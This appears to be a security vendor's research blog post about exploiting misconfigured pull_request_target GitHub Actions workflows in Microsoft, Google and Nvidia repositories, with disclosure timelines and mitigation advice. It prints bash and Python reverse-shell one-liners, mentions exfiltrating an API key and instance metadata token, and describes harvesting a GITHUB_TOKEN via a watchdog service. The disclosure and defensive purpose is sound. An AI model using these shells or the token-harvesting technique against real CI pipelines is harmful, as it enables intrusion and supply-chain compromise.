Executive summary
We have managed to successfully compromise repositories owned by Microsoft, Google, Nvidia and many more using a single pull request from a fork. Based on our data, we believe the problem likely extends to many thousands of repositories that remain at risk of exploitation.
These research discoveries have prevented far-reaching risks associated with phishing, supply chain and lateral movement, as well as significant brand damage. A single pull request is all we had needed in order to write to main, push new packages, create new deployments, manage pull requests, expose tokens and keys, and even hijack cookies or deliver malware.
The upcoming sections dive deep into how and why we have been able to carry this highly effective GitHub exploit, as well as what malicious hackers could have achieved and can still gain due to this misconfiguration, which has turned into a critical vulnerability.
Background: pwn requests
If you have missed it, read Part 1 of this series to better understand the systemic issue behind the astonishing stories we will be sharing later in this blog. GitHub Actions workflows that use the pull_request_target should never checkout untrusted code without an appropriate validation. Once they do, they are at risk of a full compromise.
GitHub had actually raised this issue way back in August 2021, but to our concern, many repositories are still vulnerable, some owned by big tech companies. We were particularly surprised not only by how many users misunderstood pull_request_target, but also by their inability to correct their workflows.
Late in our research, while testing beyond the scope of GitHub’s advisory, we uncovered something never previously discussed: repositories remained vulnerable despite applying what seemed to be a proper patch. Keep reading to understand the root cause and how to protect your workflows from determined attackers. By the end of this blog post, we will outline best practices and mitigation strategies to help keep your code and secrets secure.
Gi(f)tHub: trick or treat?
GitHub is no longer a place that just hosts your code, it is the largest attack surface on the Internet. If you fail to recognize this, you are falling behind. A security incident is closer than ever. That is the harsh truth.
GitHub has evolved into a complete development platform, enabling users to manage the entire software development lifecycle (SDLC) within a single environment. With planning tools like Issues and Projects, development environments such as Codespaces, AI coding assistant like Copilot, CI/CD pipelines powered by GitHub Actions, and deployment options through GitHub Pages (or Vercel / Netlify), developers can now code, test, and deploy without ever leaving GitHub.
This flexibility and power are good news for developers, but even greater news for attackers. GitHub has become the new gift that keeps on giving, from exposed secrets and white-box research to impersonating contributors, hijacking maintainer accounts, poisoning Actions and Apps, leaking corporate data, and ultimately exploiting workflow vulnerabilities. It often feels like mistakes on GitHub are inevitable, and attackers are always there, ready to take advantage.
The core problem with GitHub Actions
Actions is GitHub’s integrated CI/CD solution. Introduced in October 2018, the motivation behind it was to provide native automation, reducing the friction of integrating external services like Jenkins and CircleCI. Not having to maintain an external infrastructure was a true game changer for developers, but it came with a cost.
The other day in the office, we were brainstorming ways attackers can abuse GitHub, and came to the very obvious yet disturbing conclusion that with any pull request from an external contributor, code is being executed. Again, in today’s world this may seem obvious, yet we are often blinded by familiarity, and what becomes routine can feel normal even when it is deeply concerning.
This idea makes Actions a RaaS. Don’t panic, I just came up with these initials, but the truth stands. With the pull_request family of triggers, Actions becomes remote code execution (RCE) as a service, running on infrastructure GitHub spins up on behalf of its customers – an infrastructure that may hold sensitive data and privileged access to code and configuration.
Unlike old webhook-based automated procedures, with Actions you can easily see the static code, the runtime logs and the progress of the workflow. Keep that in mind the next time you create a new Actions’ workflow.
The exploitation stories
First things first, we believe in and fully support fair and responsible disclosure, and we will always collaborate to achieve it. Each of the following case studies highlights a bug that has already been fixed. Some incidents are still in the disclosure process and may be released in the coming days, so stay tuned.
To all vendors mentioned below, I would like to take this opportunity to thank you for your valuable collaboration and support, both on my behalf and on behalf of the community.
Before we begin, a candid prologue
What you are about to read isn’t theory. It is not a discovery found by a security researcher that had never been used, and could never be used by malicious attackers. This stuff is real, and it is here to stay.
Some of what you will read below required a degree of skill to pull off, yet was still simple to identify and exploit. To be honest, some discoveries made my heart race. One minute you were creating a naive pull request, the next you were stealing cookies from a website owned by a Fortune-100 enterprise. I’m being transparent so you can see just how serious the risk is.
Let’s dive into it.
Exploiting microsoft/symphony
Overview
Via a pull request from a fork on https://github.com/microsoft/symphony we were able to pull a reverse-shell from a GitHub Actions runner and utilize the available GitHub token to push malicious code to the origin repository.
This repository had suffered from multiple misconfigured workflows, which used the pull_request_target trigger. Prior to the fix, most of these workflows checked out untrusted code and explicitly requested write permissions for the repository contents.
This created a significant vulnerability that could have allowed malicious actors to poison a project responsible for recommending best-practice CI/CD workflows for Infrastructure as Code on Azure. The resulting supply chain threat could have enabled downstream exploits and severe brand damage. Microsoft’s security advisory assigned CVE-2025-61671 to this issue with a critical CVSS score of 9.3, indicating that they take it seriously.

Steps to reproduce
One of the vulnerable workflows that used pull_request_target, .github/workflows/workflow.pr.terraform.yml, had a job named Validate that used the following reusable workflow, .github/workflows/template.terraform.validate.yml. The latter had checked out the pull request contents with actions/checkout@v5 using the special merge ref that GitHub creates automatically for each pull request, refs/pull/${{ github.event.pull_request.number }}/merge.
This allowed attackers to modify any script under scripts/orchestrators in order to gain remote code execution. The script we had chosen to modify is scripts/orchestrators/setup-azcli.sh.
bash -i >& /dev/tcp/<ip>/<port> 0>&1As you can see the, the aforementioned reusable workflow had used the fine-grained permissions block with contents: write. This means the workflow runs on an ephemeral ubuntu-latest GitHub Actions runner that GitHub provisions with a GITHUB_TOKEN granting both read and write access.
Attack flow
We are reserving the deep technical exploitation details for upcoming conference presentations, where we will demonstrate, step by step, how we pushed a new branch to Microsoft’s origin repository and how we compromised an Azure service principal in Microsoft’s tenant.


Coordinated disclosure timeline
- 2025-08-28: We have reported our findings to Microsoft through the Research Portal
- 2025-08-28: Microsoft Security Response Center (MSRC) has opened a new case for this discovery
- 2025-08-29: As an initial countermeasure, Microsoft disabled Actions for the repository
- 2025-09-03: MSRC has confirmed the behavior in the report and started investigating
- 2025-09-03: A fix has been deployed to the repository by the main maintainer
- 2025-09-15: MSRC have reported a fix has been released
- 2025-09-26: Microsoft assigned this issue a critical CVSS score of 9.3
Exploiting googlecloudplatform/ai-ml-recipes
Overview
Via a pull request from a fork on https://github.com/GoogleCloudPlatform/ai-ml-recipes we were able to pull a reverse-shell from a GitHub Actions runner and utilize the available GitHub token to push malicious code to the origin repository, and exfiltrate a Gemini API key.
The misconfigured workflow in this repository was .github/workflows/autodoc.yml. Prior to the fix, it had used the pull_request_target trigger and checked out the source branch of the pull request with ${{ github.head_ref }} with both contents: write and pull-requests: write.
This created a serious vulnerability that could have allowed attackers to push a new branch to the origin repository and to threaten the protected main branch. We will cover these mechanics and mitigations in more detail later in this blog. Again, the supply chain threat is far reaching, with significant downstream impact on a project that delivers jumpstart Jupyter Notebooks to Google customers.

Steps to reproduce
The vulnerable workflow .github/workflows/autodoc.yml had a job named validate-and-autofix-pr which checked out the pull request’s contents with actions/checkout@v3 and executed several scripts under .ci/scripts. The script we had modified is .ci/scripts/generate_docs.py (which uses LLM to create automated docs for modified notebooks).
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])${{ secrets.GEMINI_API_KEY }} was embedded as an environment variable in the same aforementioned job, hence with exploiting this workflow, we can’t only access a privilege GitHub token, but also easily exfiltrate a secret from within the compromised GitHub runner.
Attack flow
Like the previous case study, we are keeping the deep technical exploitation strategy exclusive for upcoming conference presentations, where we will demonstrate, step-by-step, how we pushed a new branch to Google’s origin repository, and how that can escalate to pushing code into main, as well as how we compromised a Gemini API key.



Coordinated disclosure timeline
- 2025-09-01: We have reported our findings to Google through Google Bug Hunters
- 2025-09-02: As an initial countermeasure, Google completely removed the
pull_request_targettrigger - 2025-09-02: A fix has been deployed to the repository by the main maintainer
- 2025-09-02: Google has accepted our findings with the famous 🎉 Nice catch!
- 2025-09-13: Google has reported a fix has been released
Exploiting nvidia/nvrc
Overview
Via a pull request from a fork on https://github.com/NVIDIA/nvrc we were able to pull a reverse-shell from a self-hosted GitHub Actions runner which used the g5g.metal instance-type. Such a compromise could have enabled malicious attackers to launch denial-of-service attacks, mine cryptocurrency, and move laterally within Nvidia’s cloud environment.
The misconfigured workflow in this repository was .github/workflows/ci-on-push.yaml used the pull_request_target trigger and called the reusable workflow .github/workflows/ci.yaml which used a strong compute ($2,000/month).

Steps to reproduce
The aforementioned reusable workflow had used actions/checkout with ${{ github.event.pull_request.head.sha }}. This allowed attackers to abuse the build-asset job by modifying tests/install_rust.sh and achieve remote code execution over the runner.
bash -i >& /dev/tcp/<ip>/<port> 0>&1Attack flow

Once inside the runner, we fetched the instance metadata service token. We will not elaborate here on any subsequent movement actions.
Moreover, we were convinced that the GitHub token can deploy packages, because of packages: write under permissions. It was difficult to extract the GitHub token, because persist-credentials: true means GitHub Actions removes the credentials after the actions/checkout step.
I dug deeper into how actions/checkout works and discovered it injects credentials into .git/config. When persist-credentials is enabled, the action removes those credentials from .git/config afterward as a security measure.
Since this was a self hosted runner, every workflow executed on the same machine. With that in mind, we created a watchdog to monitor .git/config and log its contents to a file so I could inspect them on the runner’s next execution. We implemented a small Bash script that ran git config –list every half second, installed it as a systemd service, and on the second workflow run the service successfully exposed the token.

Fortunately, although the token was exposed, it did not include the ability to create packages, because the repository’s enforced permissions explicitly omitted packages: write.
However, attackers could potentially still move laterally by abusing IAM permissions or by probing network-accessible services from the EC2 instance, and they could run compute-related campaigns such as cryptomining or distributed workloads.
Coordinated disclosure timeline
- 2025-08-31: We have reported our findings to Nvidia
- 2025-09-18: Nvidia had accepted our report and initiated an investigation
- 2025-09-19: A fix has been deployed to the repository by the main maintainer
It doesn’t end here
As our research continued, it became clear these were not isolated mistakes, but part of a broader pattern. From Fortune-500 organizations to highly starred open source projects, we repeatedly found and exploited vulnerable workflows that reveal evolving threat profiles. Some of the risks we found include exploitation of an organization’s primary domain via a GitHub Pages site, lateral movement to cloud vendors, and abuse of non-human identities in third party SaaS applications. We have many more stories to share at upcoming security conferences, so stay tuned.
This research began with 5,000 repository leads that used pull_request_target in at least one workflow file, of which roughly 50 proved vulnerable and exploitable. That is about 1 percent, but given there are over 100,000 code findings on GitHub for pull_request_target, we would not be surprised to find many thousands of vulnerable repositories.
Closing remarks
A dreadful post-exploitation epilogue
Back when I managed to hack microsoft/symphony, I sent a message to our CTO: “Hey. I managed to write to a Microsoft public repository via a PR from a fork …”. I find his response funny, but it also got me thinking about the best way to close this blog post.

Forks and pull requests are the building blocks of open source, which is why we default to trusting them. But they are not inherently safe, not anymore. And the risks? Frightening. Failing to acquire the skills or get help to operate GitHub securely is, frankly, like shooting yourself in the foot.
How to stay safe?
The rule of thumb
Treat pull requests from forks as untrusted input, and never run their code in a privileged workflow. Don’t process fork pull requests with pull_request_target, unless you need write access or secrets.
Securing pull_request_target
The backbone
As we’ve previously mentioned in Part 1, “pull_request_target workflows run without requiring manual approval …”. It means that by default, and unlike pull_request (which requires approval for first time contributors), pull_request_target workflows will run automatically.
Do you recognize this configuration option below? Turns out it applies only to workflows triggered by pull_request. That leaves a clear question: how can users secure and restrict workflows triggered by pull_request_target?

Mitigation steps
Throughout our research we observed different, successful approaches that users employed to mitigate this issue. Some relied on workflow logic to validate and gate untrusted contributions, while others took a more aggressive approach by tightening configuration settings to block risky behavior.
- External contributors Vs. collaborators: this if statement allows pull requests originating from the same repository to pass. PRs from forks are gated out. if statements can be used at both the job level and the step level, restricting privileged actions.
# Run only when the PR comes from the same repository, not from a fork
if: github.event.pull_request.head.repo.full_name == github.repository- Labels: we’ve seen both pull_request_target workflows being restricted by a label requirement, as well as jobs / steps being restricted by a specific label application. Both introduce a defensive control, giving maintainers the ability to decide whether workflows are safe to run.
# Run when a label is added to a PR
on:
pull_request_target:
types: [labeled]
---
# Run only when the PR is labeled "verified"
if: contains(github.event.pull_request.labels.*.name, 'verified')
- Environments: Environments are probably the most useful built-in guards GitHub provides for locking down privileged workflows. They are applied at the job level, and we’ve seen users consistently use it to gate privileged jobs with required reviewers. These are not code reviewers, they are designated workflow reviewers who must explicitly approve a workflow run before any privileged steps execute.
# protections, secrets and required reviewers are applied
environment: testingHow Orca can help
The Orca Cloud Security Platform secures your entire software development lifecycle—from pre-deployment through runtime. Orca’s comprehensive Application Security capabilities enable organizations to:
- Audit repositories and workflows for misconfigurations: Orca continuously scans SCM platforms like GitHub for overly permissive tokens, outdated workflows, and missing security guardrails. This helps ensure legacy repositories and pipelines are brought up to least-privilege standards.
- Detect and prevent secret exposure: Orca provides comprehensive and advanced Secret Detection capabilities that integrate with your SCM repositories, scan every push or pull request for secrets, and provide flexible guardrails that can prevent secrets from being exposed.
- Set policy guardrails that block unsafe deployments: Orca enforces policies across the development pipeline to ensure that misconfigurations, vulnerabilities, and secrets are caught early and never reach production.
- Connect cloud to development: Orca’s Cloud-to-Dev capabilities enable you to trace cloud risks to their origins in source code and remediate issues at their source.
To learn more or see the Orca Platform in action, schedule a personalized 1:1 demo.
